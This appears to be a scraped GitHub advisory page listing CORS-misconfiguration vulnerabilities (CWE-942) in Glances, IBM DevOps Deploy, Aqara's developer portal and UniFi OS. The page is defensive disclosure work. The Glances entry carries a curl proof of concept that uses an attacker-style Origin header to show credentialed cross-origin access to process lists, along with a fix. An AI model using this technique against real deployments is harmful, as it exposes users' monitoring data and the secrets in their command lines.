  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FP27-88FP-2PHG

Vulnerability from github – Published: 2026-08-17 17:04 – Updated: 2026-08-17 17:04

Summary

Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard

Details

Summary

Glances's REST API server includes a documented safety check intended to guarantee that cors_credentials=True can never be combined with an unrestricted CORS origin allowlist. The check compares the configured origin list to the wildcard using exact list equality (cors_origins == ["*"]) instead of a membership test. Any multi-entry origin configuration that merely includes "*" alongside other origins (e.g. cors_origins=*,https://trusted.example.com) bypasses the check entirely, while Starlette's underlying CORSMiddleware still treats the presence of "*" anywhere in the list as "allow all origins" and reflects the request's actual Origin header together with Access-Control-Allow-Credentials: true. This allows any website to read a victim's authenticated Glances monitoring data — including full process lists with command-line arguments — by exploiting the browser's automatic replay of cached HTTP Basic Auth credentials in a cross-origin request.

Details

glances/outputs/glances_restful_api.py:298:

if cors_origins == ["*"] and cors_credentials:
    logger.warning(...)
    cors_credentials = False

The intended guarantee is documented in glances/outputs/glances_stdout_api_restful_doc.py:247-260: "Setting cors_credentials=True with cors_origins= is not allowed. Glances will automatically disable credentials and log a warning if this combination is detected."* The exact-equality comparison only matches when cors_origins is precisely the single-element list ["*"]. Starlette's CORSMiddleware, by contrast, determines wildcard behavior via "*" in allow_origins — a membership test — so any multi-entry list containing "*" is still treated by Starlette as "allow all origins," while Glances's own guard silently fails to disable credentials for that case, breaking the documented guarantee with no warning logged.

This is the same exact-match-versus-membership-test bug shape that CVE-2026-46608 fixed in the sibling XML-RPC server (glances/server.py, which correctly performs if '*' in cors_origins:). The REST API's analogous check was never updated to the corrected pattern.

PoC

Configuration:

[outputs]
cors_origins=*,https://trusted.example.com
cors_credentials=true

# Confirm auth is required
curl -s -i http://127.0.0.1:36212/api/4/cpu
-> 401 Unauthorized, www-authenticate: Basic

# Authenticated request, Origin header set to an arbitrary domain never configured
curl -s -i -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \
  http://127.0.0.1:36212/api/4/cpu
-> 200 OK
   access-control-allow-origin: https://totally-evil-attacker.com
   access-control-allow-credentials: true
   {"total": 0.0, "user": 0.0, ...}

# Same against the process list, exposing command lines/usernames/PIDs
curl -s -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \
  http://127.0.0.1:36212/api/4/processlist
-> [{"cmdline": [...], "username": "...", "pid": ..., ...}, ...]
   (same access-control-allow-origin / access-control-allow-credentials headers)

Impact

Any operator who configures cors_origins as a multi-entry list that includes the wildcard alongside one or more specific trusted origins — a plausible configuration mistake given the documented default is the bare wildcard, and an operator attempting to additionally permit a second legitimate dashboard origin may not realize the wildcard must first be removed — silently loses the documented credentials-disable protection. Any third-party website can then read the full authenticated monitoring dataset of any visitor who has previously logged into that Glances instance via their browser, including process command-line arguments (which frequently contain secrets passed as CLI flags), usernames, and PIDs.

Remediation suggestion

Change the check at glances_restful_api.py:298 from cors_origins == ["*"] to "*" in cors_origins, matching the corrected pattern already used in glances/server.py for the XML-RPC server.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:04:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGlances\u0027s REST API server includes a documented safety check intended to guarantee that `cors_credentials=True` can never be combined with an unrestricted CORS origin allowlist. The check compares the configured origin list to the wildcard using exact list equality (`cors_origins == [\"*\"]`) instead of a membership test. Any multi-entry origin configuration that merely includes `\"*\"` alongside other origins (e.g. `cors_origins=*,https://trusted.example.com`) bypasses the check entirely, while Starlette\u0027s underlying `CORSMiddleware` still treats the presence of `\"*\"` anywhere in the list as \"allow all origins\" and reflects the request\u0027s actual `Origin` header together with `Access-Control-Allow-Credentials: true`. This allows any website to read a victim\u0027s authenticated Glances monitoring data \u2014 including full process lists with command-line arguments \u2014 by exploiting the browser\u0027s automatic replay of cached HTTP Basic Auth credentials in a cross-origin request.\n\n### Details\n`glances/outputs/glances_restful_api.py:298`:\n```python\nif cors_origins == [\"*\"] and cors_credentials:\n    logger.warning(...)\n    cors_credentials = False\n```\nThe intended guarantee is documented in `glances/outputs/glances_stdout_api_restful_doc.py:247-260`: *\"Setting cors_credentials=True with cors_origins=* is not allowed. Glances will automatically disable credentials and log a warning if this combination is detected.\"* The exact-equality comparison only matches when `cors_origins` is precisely the single-element list `[\"*\"]`. Starlette\u0027s `CORSMiddleware`, by contrast, determines wildcard behavior via `\"*\" in allow_origins` \u2014 a membership test \u2014 so any multi-entry list containing `\"*\"` is still treated by Starlette as \"allow all origins,\" while Glances\u0027s own guard silently fails to disable credentials for that case, breaking the documented guarantee with no warning logged.\n\nThis is the same exact-match-versus-membership-test bug shape that CVE-2026-46608 fixed in the sibling XML-RPC server (`glances/server.py`, which correctly performs `if \u0027*\u0027 in cors_origins:`). The REST API\u0027s analogous check was never updated to the corrected pattern.\n\n### PoC\nConfiguration:\n```ini\n[outputs]\ncors_origins=*,https://trusted.example.com\ncors_credentials=true\n```\n```\n# Confirm auth is required\ncurl -s -i http://127.0.0.1:36212/api/4/cpu\n-\u003e 401 Unauthorized, www-authenticate: Basic\n\n# Authenticated request, Origin header set to an arbitrary domain never configured\ncurl -s -i -u glances:\u003cpassword\u003e -H \"Origin: https://totally-evil-attacker.com\" \\\n  http://127.0.0.1:36212/api/4/cpu\n-\u003e 200 OK\n   access-control-allow-origin: https://totally-evil-attacker.com\n   access-control-allow-credentials: true\n   {\"total\": 0.0, \"user\": 0.0, ...}\n\n# Same against the process list, exposing command lines/usernames/PIDs\ncurl -s -u glances:\u003cpassword\u003e -H \"Origin: https://totally-evil-attacker.com\" \\\n  http://127.0.0.1:36212/api/4/processlist\n-\u003e [{\"cmdline\": [...], \"username\": \"...\", \"pid\": ..., ...}, ...]\n   (same access-control-allow-origin / access-control-allow-credentials headers)\n```\n\n### Impact\nAny operator who configures `cors_origins` as a multi-entry list that includes the wildcard alongside one or more specific trusted origins \u2014 a plausible configuration mistake given the documented default is the bare wildcard, and an operator attempting to additionally permit a second legitimate dashboard origin may not realize the wildcard must first be removed \u2014 silently loses the documented credentials-disable protection. Any third-party website can then read the full authenticated monitoring dataset of any visitor who has previously logged into that Glances instance via their browser, including process command-line arguments (which frequently contain secrets passed as CLI flags), usernames, and PIDs.\n\n### Remediation suggestion\nChange the check at `glances_restful_api.py:298` from `cors_origins == [\"*\"]` to `\"*\" in cors_origins`, matching the corrected pattern already used in `glances/server.py` for the XML-RPC server.",
  "id": "GHSA-fp27-88fp-2phg",
  "modified": "2026-08-17T17:04:51Z",
  "published": "2026-08-17T17:04:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-fp27-88fp-2phg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/890858944ab9d03730ec6b1ba42d4015e6d85db5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test \u2014 Bypassed by Any Multi-Origin Allowlist Containing the Wildcard"
}

GHSA-FQ2G-WF56-3PRG

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31

Details

IBM UCD - IBM DevOps Deploy 8.1 through 8.1.2.6, and 8.2 through 8.2.1.0 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-12084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM UCD - IBM DevOps Deploy 8.1 through 8.1.2.6, and 8.2 through 8.2.1.0 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.",
  "id": "GHSA-fq2g-wf56-3prg",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12084"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277575"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQRJ-M2F5-X9PJ

Vulnerability from github – Published: 2026-06-12 18:31 – Updated: 2026-06-12 18:31

Details

The Aqara Developer Portal (developer.aqara.com) and shared test environments (developer-test.aqara.com, aiot-test.aqara.com) exhibit cross-origin request sharing, which is an instance of "CWE-942: Permissive Cross-domain Policy with Untrusted Domains," and has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N (8.2 High).

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-50088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T16:16:32Z",
    "severity": "HIGH"
  },
  "details": "The Aqara Developer Portal (developer.aqara.com) and shared test environments (developer-test.aqara.com, aiot-test.aqara.com) exhibit cross-origin request sharing, which is an instance of \"CWE-942: Permissive Cross-domain Policy with Untrusted Domains,\" and has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N (8.2 High).",
  "id": "GHSA-fqrj-m2f5-x9pj",
  "modified": "2026-06-12T18:31:59Z",
  "published": "2026-06-12T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xn0tsa/theres-no-place-like-home"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/aqara-dev-portal-cors-cve-2026-50088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FWMW-87X4-WJV5

Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32

Details

A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user's session.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [],
  "aliases": [
    "CVE-2026-55110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T15:17:04Z",
    "severity": "HIGH"
  },
  "details": "A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user\u0027s session.",
  "id": "GHSA-fwmw-87x4-wjv5",
  "modified": "2026-07-02T15:32:13Z",
  "published": "2026-07-02T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55110"
    },
    {
      "type": "WEB",
      "url": "https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-942

Permissive Cross-domain Security Policy with Untrusted Domains

GHSA-9RCG-65VX-H53X

GHSA-9V4J-7G44-QCQW

Summary

Details

Root cause — the SSE handler does not consult `permissions2` or any other auth

Why authentication matters for this listener

Source-level evidence

PoC (against 1.17.6)

Impact

Suggestions to fix

Live verification

GHSA-C8F3-GJ35-46CF

GHSA-CCQ9-R5CW-5HWQ

Summary

Details

PoC

Impact

Recommended Fix

GHSA-CVV3-VCH8-MP39

GHSA-F4W8-52PM-GHR9

GHSA-FP27-88FP-2PHG

Summary

Details

PoC

Impact

Remediation suggestion

GHSA-FQ2G-WF56-3PRG

GHSA-FQRJ-M2F5-X9PJ

GHSA-FWMW-87X4-WJV5

Mitigation

Mitigation

Mitigation

CWE-942

Permissive Cross-domain Security Policy with Untrusted Domains

Summary

Details

Root cause — the SSE handler does not consult permissions2 or any other auth

Why authentication matters for this listener

Source-level evidence

PoC (against 1.17.6)

Impact

Suggestions to fix

Live verification

Summary

Details

PoC

Impact

Recommended Fix

Summary

Details

PoC

Impact

Remediation suggestion

Mitigation

Mitigation

Mitigation

Root cause — the SSE handler does not consult `permissions2` or any other auth